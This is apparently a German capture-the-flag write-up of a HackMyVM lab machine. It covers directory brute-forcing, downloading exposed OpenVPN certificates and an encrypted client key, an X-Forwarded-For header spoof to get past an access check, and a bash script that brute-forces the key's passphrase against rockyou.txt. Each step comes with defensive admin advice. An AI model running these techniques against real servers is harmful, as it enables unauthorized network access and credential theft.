200 GET 192l 384w 3041c http://192.168.2.191/style/iphone.css 200 GET 13l 37w 2194c http://192.168.2.191/poweredbymacosxserver.gif 200 GET 75l 215w 2241c http://192.168.2.191/script/serverhome.js 200 GET 5l 27w 226c http://192.168.2.191/style/serverhome_static.css 200 GET 412l 2178w 136171c http://192.168.2.191/script/compressed_libraries.js 200 GET 351l 1040w 98713c http://192.168.2.191/script/compressed_widgets.js 200 GET 130l 376w 5435c http://192.168.2.191/ 200 GET 130l 376w 5435c http://192.168.2.191/index.html 301 GET 9l 28w 314c http://192.168.2.191/service => http://192.168.2.191/service/ 200 GET 1l 10w 59c http://192.168.2.191/service/index.php 301 GET 9l 28w 312c http://192.168.2.191/style => http://192.168.2.191/style/ 301 GET 9l 28w 316c http://192.168.2.191/style/img => http://192.168.2.191/style/img/ 301 GET 9l 28w 313c http://192.168.2.191/script => http://192.168.2.191/script/ 200 GET 33l 97w 6762c http://192.168.2.191/grayx.jpg 200 GET 12l 63w 3616c http://192.168.2.191/osxserver.gif 200 GET 96l 250w 3752c http://192.168.2.191/error.html [#########>----------] - 13m 14044941/30878568 16m found:16 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_2_191_-1747261220.state ... [#########>----------] - 13m 14045146/30878568 16m found:16 errors:0 [#########>----------] - 13m 2842728/6175484 3540/s http://192.168.2.191/ [#########>----------] - 13m 2823408/6175484 3520/s http://192.168.2.191/service/ [#########>----------] - 13m 2803192/6175484 3502/s http://192.168.2.191/style/ [#########>----------] - 13m 2787736/6175484 3486/s http://192.168.2.191/style/img/ [#########>----------] - 13m 2783928/6175484 3495/s http://192.168.2.191/script/
Bewertung:
Obwohl der Scan abgebrochen wurde, bestätigt er die bereits bekannten Pfade, insbesondere http://192.168.2.191/service/index.php. Keine neuen, kritischen Pfade werden in diesem Ausschnitt aufgedeckt, aber die wiederholte Bestätigung unterstreicht die Wichtigkeit des /service/ Verzeichnisses.
Empfehlung (Pentester):
Ein gezielterer Scan auf das Verzeichnis /service/ mit spezifischen Dateiendungen (wie .crt, .key, .pem, .conf, .txt) ist nun dringend erforderlich, um die eigentlichen OpenVPN-Zertifikatsdateien zu finden.
Empfehlung (Admin):
Protokollierung und Überwachung von Webserver-Zugriffen können helfen, Brute-Force-Versuche wie die von feroxbuster zu erkennen. Rate-Limiting oder Tools wie fail2ban können solche automatisierten Angriffe erschweren.
Analyse:
Wir verwenden nun dirb, ein weiteres Werkzeug zum Brute-Forcen von Verzeichnissen und Dateien, um gezielt das Verzeichnis /service/ auf dem Webserver http://192.168.2.191/ zu untersuchen.
Der Befehl dirb http://192.168.2.191/service /usr/share/seclists/Discovery/Web-Content/big.txt -R -X .php,.txt,.jpg,.crt ist wie folgt aufgebaut:
http://192.168.2.191/service/: Die Basis-URL für den Scan./usr/share/seclists/Discovery/Web-Content/big.txt: Die Wortliste, die für das Brute-Forcing verwendet wird.-R: Aktiviert die interaktive Rekursion (obwohl dies in der Ausgabe nicht direkt ersichtlich ist, wie sie genutzt wird). Üblicherweise bedeutet Rekursion, dass gefundene Verzeichnisse ebenfalls gescannt werden.-X .php,.txt,.jpg,.crt: Fügt diese spezifischen Dateiendungen zu den zu suchenden Namen hinzu. Dies ist sehr wichtig, da wir nach OpenVPN-Zertifikatsdateien (.crt) und möglicherweise Konfigurations- oder Informationsdateien (.txt, .php) suchen.----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu May 15 00:21:57 2025 URL_BASE: http://192.168.2.191/service/ WORDLIST_FILES: /usr/share/seclists/Discovery/Web-Content/big.txt OPTION: Interactive Recursion EXTENSIONS_LIST: (.php,.txt,.jpg,.crt) | (.php)(.txt)(.jpg)(.crt) [NUM = 4] ----------------- GENERATED WORDS: 20467 ---- Scanning URL: http://192.168.2.191/service/ ---- + http://192.168.2.191/service/ca.crt (CODE:200|SIZE:1200) + http://192.168.2.191/service/client.crt (CODE:200|SIZE:4492) + http://192.168.2.191/service/index.php (CODE:200|SIZE:59) + http://192.168.2.191/service/vpn.txt (CODE:403|SIZE:276) ----------------- END_TIME: Thu May 15 00:22:28 2025 DOWNLOADED: 81868 - FOUND: 4
Bewertung:
Dieser dirb-Scan ist ein Volltreffer! Er deckt genau die Dateien auf, die wir für die OpenVPN-Verbindung benötigen:
ca.crt (CODE:200): Das Zertifikat der Zertifizierungsstelle (Certificate Authority). Dies wird benötigt, um die Authentizität des VPN-Servers zu überprüfen.client.crt (CODE:200): Das öffentliche Zertifikat des Clients.index.php (CODE:200): Die bereits bekannte OpenVPN-Konfigurationsvorlage.vpn.txt (CODE:403): Eine Textdatei namens vpn.txt wurde gefunden, aber der Zugriff darauf ist verboten (Statuscode 403 - Forbidden). Dies könnte interessante Informationen enthalten, aber wir können sie derzeit nicht abrufen. Es ist möglich, dass die IP-Spoofing-Technik auch hier angewendet werden muss oder andere Zugriffsbeschränkungen greifen.client.key).
Empfehlung (Pentester):
Die Dateien ca.crt und client.crt müssen sofort heruntergeladen werden. Anschließend muss versucht werden, auch den privaten Schlüssel (wahrscheinlich client.key) im Verzeichnis /service/ zu finden. Ein weiterer dirb-Scan oder ein manueller Versuch mit curl auf http://192.168.2.191/service/client.key (unter Verwendung des IP-Spoofing-Tricks, falls nötig) ist der nächste logische Schritt. Der Inhalt von vpn.txt bleibt ein interessantes Ziel, falls der Zugriff später ermöglicht werden kann.
Empfehlung (Admin):
Niemals sollten Zertifikatsdateien, insbesondere private Schlüssel, öffentlich über einen Webserver zugänglich sein. Dies ist eine gravierende Sicherheitslücke. Solche Dateien müssen außerhalb des Web-Roots gespeichert und mit strengen Dateiberechtigungen versehen werden. Der 403-Fehler für vpn.txt ist zwar besser als ein direkter Zugriff, aber die Existenz der Datei ist bereits bekannt. Sensible Informationen sollten nicht einmal als Dateinamen im Web-Root auftauchen.
Analyse:
Basierend auf den Ergebnissen des vorherigen dirb-Scans laden wir nun die gefundenen Zertifikatsdateien ca.crt und client.crt herunter. Wir verwenden curl mit der Option -o [Dateiname], um die heruntergeladene Datei direkt unter dem angegebenen Namen zu speichern, und -s für den stillen Modus (keine Fortschrittsanzeige).
Anschließend wird mit ll *.crt der Inhalt des aktuellen Verzeichnisses aufgelistet, gefiltert nach Dateien, die auf .crt enden, um zu überprüfen, ob die Dateien erfolgreich heruntergeladen wurden und welche Größe sie haben.
Danach wird versucht, eine Datei namens .htaccess aus dem Verzeichnis /service/ herunterzuladen und deren Inhalt anzuzeigen. .htaccess-Dateien werden vom Apache-Webserver verwendet, um Konfigurationseinstellungen auf Verzeichnisebene zu definieren, einschließlich Zugriffskontrollen.
-rw-r--r-- 1 root root 1200 15. Mai 00:23 ca.crt -rw-r--r-- 1 root root 4492 15. Mai 00:23 client.crt
-rw-r--r-- 1 root root 274 15. Mai 00:25 htaccess.txt
403 Forbidden
<p>You don't have permission to access this resource.</p>
<hr>
Apache/2.4.62 (Unix) Server at homelab.hmv Port 80
Bewertung:
Die Zertifikate ca.crt (1200 Bytes) und client.crt (4492 Bytes) wurden erfolgreich heruntergeladen. Dies sind wichtige Komponenten für die OpenVPN-Verbindung.
Der Versuch, .htaccess herunterzuladen, war ebenfalls "erfolgreich" in dem Sinne, dass eine Datei heruntergeladen wurde. Allerdings enthält htaccess.txt nicht den Inhalt einer .htaccess-Datei, sondern die HTML-Fehlerseite für einen "403 Forbidden"-Fehler. Das bedeutet, dass der direkte Zugriff auf .htaccess-Dateien vom Server blockiert wird, was eine übliche und gute Sicherheitspraxis ist. Es ist unwahrscheinlich, dass wir hier auf diesem Weg an den Inhalt der .htaccess-Datei gelangen, falls eine existiert und aktiv ist. Der dirb-Scan hat sie auch nicht direkt mit Status 200 gefunden.
Empfehlung (Pentester):
Der Fokus liegt weiterhin darauf, den privaten Schlüssel client.key zu finden und herunterzuladen. Da der Zugriff auf .htaccess gesperrt ist, ist dies kein direkter Angriffsvektor mehr. Die IP-Spoofing-Technik könnte auch für den Zugriff auf client.key notwendig sein.
Empfehlung (Admin):
Das Blockieren des direkten Zugriffs auf .htaccess-Dateien ist korrekt konfiguriert. Es sollte sichergestellt werden, dass auch andere sensible Konfigurationsdateien (wie .htpasswd, etc.) nicht direkt über das Web zugänglich sind. Die heruntergeladenen Zertifikate (CA und Client-Zertifikat) sind öffentlich, aber der private Schlüssel darf unter keinen Umständen öffentlich zugänglich sein.
Analyse:
Wir versuchen nun, die entscheidende Datei, den privaten Schlüssel des Clients (client.key), aus dem Verzeichnis /service/ herunterzuladen. Da wir bereits erfolgreich Zertifikate von dort beziehen konnten, ist die Wahrscheinlichkeit hoch, dass auch der Schlüssel dort liegt.
Der Befehl curl -o client.key http://homelab.hmv/service/client.key -s wird verwendet, um die Datei herunterzuladen und als client.key zu speichern.
Anschließend wird der Inhalt der heruntergeladenen Datei mit cat client.key angezeigt.
-----BEGIN ENCRYPTED PRIVATE KEY----- MIIFJDBWBgkqhkiG9w0BBQ0wSTAxBgkqhkiG9w0BBQwwJAQQcjQTElcIKFeDw72A xT/14gICCAAwDAYIKoZIhvcNAgkFADAUBggqhkiG9w0DBwQIVNMjRXSbGKgEggTI o2XhzDmt4VwIs9a2+TlCU8B9wfv4CKyoX6kqbmbEjwnUtIjV6ouTAdp423q8aEMP 9vIPo/QUvnAAcxflWs0JAg9cDN9Mix1TygNaqtiOnfodE/powg2+HJH58byf3C2/ L9i/Eyhy4PUFBocAQEMcL+OOlhV6N/K+YI26UpM3cb1W/bZa/D1kitPTc3aNaEcm cik0vozX4LaCAkWUkrfQTDmWy30nvSGlByAOrdKTdc73ZKYjhfJ0aBAvnr3l9YJ1 6P5GZ4plb0rsATaxKJX2qlza9CeAVtEBYxJXtLsv82ydLhdV9QIfL971GRwT7ufJ O04GlQnnD1+RXsgX/HX8TlqtWB+cNHPXU5goKoV98vMU9LhOLkgBt+F8VBXngXSa x/6vVA2JTq14GAuVptRRvk3NWspXbWPcEfeIRjagP1+d2eIZB6Jf3KNqFzlEZJBg 9sVFw8K4Kl1y46A767/6zAgR1yWxZUIu4DqqxrD/J+jefqEzHEpWs/hKkqDFOiY+ rtTiaG1DwVMw+EUCOOkWlzgC+J+z4ne26NxlRrDEIg85X5UfDnbDzQcvTOq8QZHF QH0OMFtKVT3EnKyChVSKDSjSBoMV6DjWB1BGI9SIaca5yKjtYJm9ZKgc319XnuDH LCHIQfERyaTypf87MAahh0P43ZUn4FJoH7DVa4R4lluyJnwr3fXcPdN+lmVAlH/b fLsGy3NNjBjNqUgkr923SOoTQXtz8HN1TSM/P11w6udvjOcHtBTV+eRczkBStvPV W0OqZMPGDaEg+HGsdQt3moGxRwgP7HEHp7IRR1mvHHjtg4UgflDtfa5BfxEOlWyF p/aV4JTVWsBhV6jEEhtY2+5vvhRammSvW6+HWqpicEE0Kekm5lf9hh3jNvXPbeuP gV000gW7ZfHRmIbfGn1/RQtizqxBDrzjPsXIvrnsR5kdqWuDYdI3681QErb7txoX +7urFS1MErtwmMIxsjkKgZyxzn71CHrSRwxlPSJMOe4LWprVk92By533yuccJXNx Lk63VtvH/H+EPeFisTnX2rN7Y4Yz/k+wbJH7cyS5PMu0I49scZPqWnZwEd+6SyKq 3AkTXtytghizriWnxlq4dzaAUjDGCnR9vqy8cNgpJRwQTczorCqRf+3vf8oji0b+ IeyTNyJeS+S8YEoFSxCHVdSy1YS7EnXWAF7fV49Rpwz8kzdi+dGVXyF9oxp+XAM5 827TdKT0NueVxakHRqm6Px23xQHvfPn2lYbzX1C1piLRFAXOk+5l7VflLoCl5QnN UjzWysu0morMJ8d4nrhaCzcUQc55lJJoX5VU3tRrAjQ1yDhmKKQ0Ga3iGiA3CGop BNj4qIST98Z/fcVT79ZP0kykcD91KNOQsJz7Zc6gJvat2EbCZksj584981bySrgA vWJ/0ikaF2+PrVHrKMi6cn75Eiz2fO2xovr8q8sh0n3iegHvAmXRhU2zb2DEjTWk X+UgNh/LzoYJEkFE+atB7QnPy5TB+HQF/UW22ZAygXkzVdk8Wl36hlsDNtz+wvOd uLEkpu2zKwKZ8dMPodNQy8z1ax+NwtVRK2ttrmhbTdmlmk24lrlz3Wp9u0AwB4WD Q0fWBgB3vyBO+VTniw+CHZ+JRsXAYTue -----END ENCRYPTED PRIVATE KEY-----
Bewertung:
Fantastisch! Der private Schlüssel client.key wurde erfolgreich heruntergeladen. Die Ausgabe zeigt einen PEM-formatierten privaten Schlüssel, der mit -----BEGIN ENCRYPTED PRIVATE KEY----- beginnt. Dies bestätigt, dass der Schlüssel verschlüsselt ist, wie bereits in der OpenVPN-Konfigurationsvorlage angedeutet wurde ("Regenerate a STRONG password for the KEY").
Wir haben jetzt alle drei notwendigen Komponenten für eine OpenVPN-Verbindung:
ca.crt (CA-Zertifikat)client.crt (Client-Zertifikat)client.key (verschlüsselter privater Schlüssel des Clients)client.key zu knacken.
Empfehlung (Pentester):
Die Passphrase des verschlüsselten privaten Schlüssels client.key muss nun mit Tools wie openssl (um das Format zu prüfen und den Entschlüsselungsversuch zu starten) und Passwort-Crackern wie John the Ripper (oft über pem2john zum Extrahieren des Hashes) oder einem benutzerdefinierten Brute-Force-Skript angegangen werden. Die Warnung in der .ovpn-Datei bezüglich der Wiederverwendung von Passwörtern legt nahe, dass das Passwort möglicherweise nicht extrem komplex ist oder mit dem Benutzernamen "shinosawa" in Verbindung steht.
Empfehlung (Admin):
Wie bereits mehrfach betont: Private Schlüssel dürfen niemals über einen Webserver zugänglich sein. Dies ist eine kritische Sicherheitslücke. Wenn Schlüssel passwortgeschützt sind, müssen die Passphrasen stark und einzigartig sein und dürfen nicht leicht zu erraten oder mit anderen Diensten identisch sein. Die Richtlinien zur Passwortkomplexität und -einzigartigkeit müssen durchgesetzt werden.
Analyse:
Wir versuchen nun, Informationen über den heruntergeladenen, verschlüsselten privaten Schlüssel client.key mit openssl zu erhalten und ihn zu entschlüsseln.
Der Befehl openssl pkey -in client.key -text -noout wird verwendet:
pkey: Ein openssl-Befehl zur Verwaltung von öffentlichen und privaten Schlüsseln.-in client.key: Gibt die Eingabedatei an.-text: Versucht, den Schlüsselinhalt in Textform auszugeben.-noout: Unterdrückt die Ausgabe des verschlüsselten Schlüssels selbst.openssl wird nach einer Passphrase fragen, um den Schlüssel zu entschlüsseln. Wir geben hier testweise keine Passphrase ein (leere Eingabe), um das Verhalten zu beobachten.
Anschließend wird versucht, den Hash des Schlüssels für das Passwort-Cracking-Tool John the Ripper zu extrahieren.
pem2john client.key > client.key.john_hash: Das Skript pem2john (Teil von John the Ripper) konvertiert den PEM-formatierten Schlüssel in ein Hash-Format, das John versteht, und speichert es in client.key.john_hash.john --wordlist=/usr/share/wordlists/rockyou.txt client.key.john_hash: Startet John the Ripper mit der bekannten Wortliste rockyou.txt, um zu versuchen, die Passphrase für den extrahierten Hash zu finden.Enter pass phrase for client.key:
Enter pass phrase for client.key: Could not find private key of key from client.key 409787CF1E7F0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:../providers/implementations/ciphers/ciphercommon_block.c:107: 409787CF1E7F0000:error:11800074:PKCS12 routines:PKCS12_pbe_crypt_ex:pkcs12 cipherfinal error:../crypto/pkcs12/p12_decr.c:92:empty password
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
Bewertung:
Der Versuch, den Schlüssel mit openssl und einer leeren Passphrase zu entschlüsseln, schlägt erwartungsgemäß fehl ("bad decrypt", "pkcs12 cipherfinal error:empty password"). Dies bestätigt, dass der Schlüssel tatsächlich passwortgeschützt ist.
Der Versuch, den Hash mit pem2john zu extrahieren und dann mit john zu knacken, schlägt ebenfalls fehl ("No password hashes loaded"). Dies kann verschiedene Gründe haben:
pem2john oder john nicht standardmäßig unterstützt oder für den keine passenden Hash-Typen geladen sind.pem2john-Konvertierung selbst geben.john.john den Hash nicht laden kann, ist ein direkter Angriff mit rockyou.txt über diesen Weg nicht erfolgreich. Wir müssen eine alternative Methode zum Brute-Forcen der Passphrase finden, wahrscheinlich durch direktes Ausprobieren mit openssl.
Empfehlung (Pentester):
Da john den Hash nicht verarbeiten kann, sollte ein benutzerdefiniertes Skript erstellt werden, das systematisch Passwörter aus einer Wortliste (wie rockyou.txt) nimmt und versucht, den client.key mit openssl pkey -in client.key -passin pass:<passwort> zu entschlüsseln. Der Erfolg kann durch Überprüfung des Rückgabecodes von openssl festgestellt werden.
Man könnte auch andere Tools oder Formate für john recherchieren, falls der Schlüssel ein ungewöhnliches Format hat.
Empfehlung (Admin):
Die Verwendung starker, einzigartiger Passphrasen für verschlüsselte private Schlüssel ist entscheidend. Wenn Standard-Passwort-Cracking-Tools Probleme haben, den Hash zu verarbeiten, kann dies die Zeit bis zur Kompromittierung verlängern, aber es ist kein vollständiger Schutz, wenn die Passphrase selbst schwach ist. Die Überwachung fehlgeschlagener Entschlüsselungsversuche ist in der Regel nicht möglich, da dies clientseitig geschieht. Der Schutz liegt in der Stärke der Passphrase und der Sicherheit des Schlüsselspeichers.
Analyse:
Da der vorherige Versuch, die OpenVPN-Konfigurationsdatei /service/index.php direkt aufzurufen, fehlschlug und wir die IP-Spoofing-Technik mit dem X-Forwarded-For-Header benötigten, wird hier nun der curl-Befehl gezeigt, der diesen Header verwendet, um den Inhalt abzurufen.
Der Befehl curl http://192.168.2.191/service/ -H 'X-Forwarded-For:192.168.2.191' -s ist wie folgt aufgebaut:
http://192.168.2.191/service/: Die Ziel-URL. Beachten Sie den abschließenden Schrägstrich, der das Verzeichnis service anstelle einer spezifischen Datei anspricht. Webserver liefern oft eine Standarddatei (wie index.php oder index.html) aus, wenn ein Verzeichnis angefordert wird.-H 'X-Forwarded-For:192.168.2.191': Fügt den HTTP-Header X-Forwarded-For mit dem Wert der Server-IP selbst hinzu. Dies ist der IP-Spoofing-Trick.-s: Stiller Modus, unterdrückt die Fortschrittsanzeige von curl.# Last modified by shinosawa # on 2024-12-21 # Example Configuration File client dev tun proto udp remote ? ? resolv-retry infinite nobind persist-key persist-tun ca ? cert ? # Regenerate a STRONG password for the KEY # Do NOT use a SAME password as other services et. SSH # it is DANGEROUS! key ? cipher AES-256-GCM verb 3
Bewertung:
Dieser Schritt bestätigt erneut, dass der Zugriff auf die /service/index.php (die Standarddatei im Verzeichnis /service/) nur durch Spoofing der IP-Adresse über den X-Forwarded-For-Header möglich ist. Die angezeigte Konfigurationsdatei ist identisch mit der zuvor gesehenen und liefert keine neuen direkten Informationen, dient aber als Erinnerung an den Mechanismus.
Empfehlung (Pentester):
Diese Technik (Verwendung von X-Forwarded-For) sollte im Hinterkopf behalten werden, falls andere Ressourcen auf dem Server ebenfalls zugriffsbeschränkt sind. Der Fokus bleibt auf dem Knacken der Passphrase für den client.key.
Empfehlung (Admin):
Die Sicherheitslücke bezüglich der unsachgemäßen Validierung des X-Forwarded-For-Headers wurde bereits adressiert. Es muss sichergestellt werden, dass alle Zugriffskontrollen robust sind und sich nicht auf leicht manipulierbare Client-seitige Informationen verlassen.
Analyse:
Da die OpenVPN-Konfiguration proto udp spezifiziert, führen wir einen UDP-Portscan mit nmap durch, um festzustellen, ob der OpenVPN-Dienst auf dem Standard-UDP-Port 1194 oder anderen gängigen UDP-Ports lauscht.
Der Befehl sudo nmap -sU --top-ports 20 -sV 192.168.2.191 -Pn ist wie folgt aufgebaut:
sudo: UDP-Scans erfordern oft Root-Rechte, um Raw Sockets erstellen zu können.-sU: Führt einen UDP-Scan durch.--top-ports 20: Scannt nur die 20 häufigsten UDP-Ports, um Zeit zu sparen. Ein vollständiger UDP-Scan aller 65535 Ports kann sehr lange dauern.-sV: Versucht, die Version der auf den offenen Ports laufenden Dienste zu ermitteln.-Pn: Überspringt die Host-Discovery, da wir wissen, dass der Host online ist.nmap -sU -p 1194 192.168.2.191.
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-15 00:47 CEST Nmap scan report for homelab.hmv (192.168.2.191) Host is up (0.00023s latency). PORT STATE SERVICE VERSION 53/udp open|filtered domain 67/udp closed dhcps 68/udp closed dhcpc 69/udp open|filtered tftp 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp open|filtered netbios-dgm 139/udp closed netbios-ssn 161/udp closed snmp 162/udp closed snmptrap 445/udp closed microsoft-ds 500/udp open|filtered isakmp 514/udp open|filtered syslog 520/udp closed route 631/udp closed ipp 1434/udp open|filtered ms-sql-m 1900/udp open|filtered upnp 4500/udp open|filtered nat-t-ike 49152/udp closed unknown MAC Address: 08:00:27:58:13:E0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 76.47 seconds
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-15 00:52 CEST Nmap scan report for homelab.hmv (192.168.2.191) Host is up (0.00022s latency). PORT STATE SERVICE 1194/udp open openvpn MAC Address: 08:00:27:58:13:E0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
Bewertung:
Der erste Scan der Top 20 UDP-Ports zeigt mehrere Ports im Zustand open|filtered. Dieser Zustand bedeutet, dass nmap keine Antwort vom Port erhalten hat, was darauf hindeuten kann, dass der Port entweder offen ist und keine Antwort sendet, oder dass eine Firewall die Pakete stillschweigend verwirft. Ohne Versionsinformationen ist es schwer, hier definitive Aussagen zu treffen. Ports wie 53 (DNS), 69 (TFTP), 138 (NetBIOS-DGM), 500 (ISAKMP), 514 (Syslog), 1434 (MS-SQL-M) und 1900 (UPnP) sind in diesem Zustand.
Der zweite, gezielte Scan auf UDP-Port 1194 ist jedoch eindeutig:
1194/udp open openvpn: Der Port ist offen und nmap identifiziert den Dienst korrekt als openvpn.192.168.2.191 lauscht.
Empfehlung (Pentester):
Nachdem wir nun den OpenVPN-Server auf Port 1194/udp bestätigt haben und im Besitz der Zertifikate (ca.crt, client.crt) und des verschlüsselten privaten Schlüssels (client.key) sind, ist der nächste Schritt, die Passphrase für client.key zu knacken. Sobald die Passphrase bekannt ist, kann eine OpenVPN-Konfigurationsdatei (.ovpn) erstellt und eine Verbindung zum VPN-Server aufgebaut werden.
Empfehlung (Admin):
Die Anzahl der offenen UDP-Ports, insbesondere derjenigen im Zustand open|filtered, sollte überprüft werden. Nicht benötigte UDP-Dienste sollten deaktiviert oder durch Firewalls blockiert werden, um die Angriffsfläche zu minimieren. Wenn OpenVPN verwendet wird, sollte der Zugriff darauf auf bekannte und autorisierte Clients beschränkt werden, idealerweise durch IP-Whitelisting oder andere Mechanismen auf der Firewall, zusätzlich zur zertifikatsbasierten Authentifizierung.
Analyse:
Der Eintrag "view-source:http://192.168.2.191/service/index.php" deutet darauf hin, dass der Quellcode der Seite erneut im Browser betrachtet wurde, wahrscheinlich nach der erfolgreichen Umgehung der Zugriffsbeschränkung mittels IP-Spoofing. Die angezeigte Ausgabe ist identisch mit der zuvor über curl abgerufenen OpenVPN-Konfigurationsvorlage.
view-source:http://192.168.2.191/service/index.php # Last modified by shinosawa # on 2024-12-21 # Example Configuration File client dev tun proto udp remote ? ? resolv-retry infinite nobind persist-key persist-tun ca ? cert ? # Regenerate a STRONG password for the KEY # Do NOT use a SAME password as other services et. SSH # it is DANGEROUS! key ? cipher AES-256-GCM verb 3
Bewertung:
Dieser Abschnitt wiederholt die Anzeige der OpenVPN-Konfigurationsvorlage. Es werden keine neuen Informationen gewonnen, aber es wird die Konsistenz der Ergebnisse über verschiedene Abrufmethoden (curl, Browser-Quelltextansicht) gezeigt, nachdem die Zugriffsbeschränkung umgangen wurde.
Empfehlung (Pentester):
Keine neuen Empfehlungen basierend auf dieser wiederholten Information. Der Fokus bleibt auf der Beschaffung der Passphrase für den client.key.
Empfehlung (Admin):
Keine neuen Empfehlungen basierend auf dieser wiederholten Information. Die bereits genannten Maßnahmen zur Absicherung des Zugriffs und der Konfigurationsdateien bleiben bestehen.
Analyse:
Da der Versuch, den Hash des client.key mit pem2john zu extrahieren und mit John the Ripper zu knacken, fehlschlug, wird hier ein Bash-Skript namens brute.sh vorgestellt. Dieses Skript dient dazu, die Passphrase des verschlüsselten privaten Schlüssels client.key durch einen Brute-Force-Angriff mit einer Wortliste direkt über openssl zu ermitteln.
Das Skript funktioniert wie folgt:
KEY_FILE="client.key"), den zu erstellenden entschlüsselten Schlüssel (DECRYPTED_KEY_FILE="client.decrypted.key") und die Wortliste (WORDLIST_FILE="/usr/share/wordlists/rockyou.txt").KEY_FILE mit openssl pkey -in "$KEY_FILE" -passin stdin -out "$DECRYPTED_KEY_FILE" zu entschlüsseln. Das Passwort wird über stdin an openssl übergeben. Die Standardausgabe und Fehlerausgabe werden nach /dev/null umgeleitet, um die Konsole sauber zu halten.openssl erfolgreich ist (Rückgabecode 0), wird "SUCCESS!" zusammen mit dem gefundenen Passwort ausgegeben, und das Skript beendet sich../brute.sh /usr/share/wordlists/rockyou.txt ausgeführt.
#!/bin/bash
KEY_FILE="client.key"
DECRYPTED_KEY_FILE="client.decrypted.key"
WORDLIST_FILE="/usr/share/wordlists/rockyou.txt"
if [ -z "$WORDLIST_FILE" ] || [ ! -f "$WORDLIST_FILE" ]; then
echo "Usage: $0 <wordlist_file>"
exit 1
fi
echo "Starting Brute-Force for '$KEY_FILE' with '$WORDLIST_FILE'..."
while IFS= read -r password || [[ -n "$password" ]]; do
if echo "$password" | openssl pkey -in "$KEY_FILE" -passin stdin -out "$DECRYPTED_KEY_FILE" >/dev/null 2>&1; then
echo "SUCCESS! Password: $password -> Decrypted key: $DECRYPTED_KEY_FILE"
exit 0
fi
done < "$WORDLIST_FILE"
echo "No password found in the list."
rm -f "$DECRYPTED_KEY_FILE"
exit 1
Starting Brute-Force for 'client.key' with '/usr/share/wordlists/rockyou.txt'...
SUCCESS! Password: hiro -> Decrypted key: client.decrypted.key
Bewertung:
Das Brute-Force-Skript ist erfolgreich! Es findet die Passphrase für den client.key: hiro.
Der entschlüsselte private Schlüssel wird in der Datei client.decrypted.key gespeichert.
Dies ist ein entscheidender Durchbruch. Die Warnung in der OpenVPN-Konfigurationsvorlage ("Do NOT use a SAME password as other services et. SSH") war prophetisch – das Passwort "hiro" ist relativ einfach und könnte tatsächlich für andere Dienste wiederverwendet worden sein, oder es ist der Benutzername oder ein Teil davon (shinosawa). Der Benutzername "shinosawa" wurde bereits im Kommentar der OpenVPN-Konfigurationsdatei erwähnt.
Empfehlung (Pentester):
Mit dem entschlüsselten privaten Schlüssel (client.decrypted.key), dem Client-Zertifikat (client.crt) und dem CA-Zertifikat (ca.crt) können wir nun eine OpenVPN-Konfigurationsdatei (.ovpn) erstellen und versuchen, eine Verbindung zum VPN-Server (192.168.2.191 auf Port 1194/udp) herzustellen. Das Passwort "hiro" sollte auch für SSH-Logins gegen den Benutzer "shinosawa" auf allen erreichbaren Systemen getestet werden.
Empfehlung (Admin):
Die Verwendung einer schwachen, leicht zu erratenden Passphrase ("hiro") für einen wichtigen privaten Schlüssel ist eine schwerwiegende Sicherheitslücke. Es unterstreicht die Notwendigkeit von Richtlinien für starke Passwörter/Passphrasen und deren Durchsetzung. Schulungen zur Sensibilisierung für Passwortsicherheit sind unerlässlich. Private Schlüssel sollten mit starken, einzigartigen Passphrasen geschützt werden, die nicht in Standard-Wortlisten enthalten sind. Die Tatsache, dass rockyou.txt ausreichte, zeigt die Schwäche der gewählten Passphrase.
Analyse:
Nachdem die Passphrase für den privaten Schlüssel geknackt wurde (hiro) und der Schlüssel als client.decrypted.key gespeichert ist, erstellen wir nun die OpenVPN-Client-Konfigurationsdatei, die wir für den Verbindungsaufbau benötigen. Wir nennen sie connect.ovpn.
Der Befehl vi connect.ovpn öffnet die Datei im Texteditor vi. Der Inhalt der Datei wird manuell basierend auf der zuvor gefundenen Vorlage und den nun bekannten Details zusammengestellt:
client, dev tun, proto udp, resolv-retry infinite, nobind, persist-key, persist-tun, cipher AES-256-GCM, verb 3: Standard-OpenVPN-Client-Direktiven.remote 192.168.2.191 1194: Gibt die IP-Adresse und den Port des OpenVPN-Servers an.ca ca.crt: Verweist auf die heruntergeladene CA-Zertifikatsdatei.cert client.crt: Verweist auf die heruntergeladene Client-Zertifikatsdatei.key client.decrypted.key: Verweist auf den soeben entschlüsselten privaten Schlüssel.client dev tun proto udp remote 192.168.2.191 1194 resolv-retry infinite nobind ca ca.crt cert client.crt key client.decrypted.key cipher AES-256-GCM verb 3 persist-key persist-tun
Bewertung:
Die connect.ovpn-Datei ist korrekt und vollständig konfiguriert, um eine Verbindung zum OpenVPN-Server herzustellen. Alle notwendigen Komponenten (Serveradresse, Port, Zertifikate, entschlüsselter Schlüssel und Protokolleinstellungen) sind vorhanden. Wir sind nun bereit, den eigentlichen Verbindungsaufbau zu versuchen.
Empfehlung (Pentester):
Im nächsten Schritt wird der Befehl sudo openvpn --config connect.ovpn ausgeführt, um die VPN-Verbindung herzustellen. Es sollte genau auf die Ausgabe von OpenVPN geachtet werden, um sicherzustellen, dass die Verbindung erfolgreich aufgebaut wird und um die zugewiesene IP-Adresse im VPN-Netzwerk sowie eventuell gepushte Routen zu erfahren.
Empfehlung (Admin):
Die Konfiguration des OpenVPN-Servers sollte regelmäßig überprüft werden. Dazu gehört die Überprüfung der verwendeten Chiffren (AES-256-GCM ist stark), der Zertifikatsgültigkeiten und der allgemeinen Sicherheitseinstellungen. Es sollte protokolliert werden, welche Clients sich wann verbinden.
Analyse:
Die Ausgabe des Befehls ll (ein Alias für ls -l) im Verzeichnis ~/vpn zeigt alle Dateien, die wir bisher für den OpenVPN-Zugriff gesammelt und erstellt haben. Dies dient zur Überprüfung, ob alle benötigten Dateien vorhanden sind, bevor der Verbindungsversuch gestartet wird.
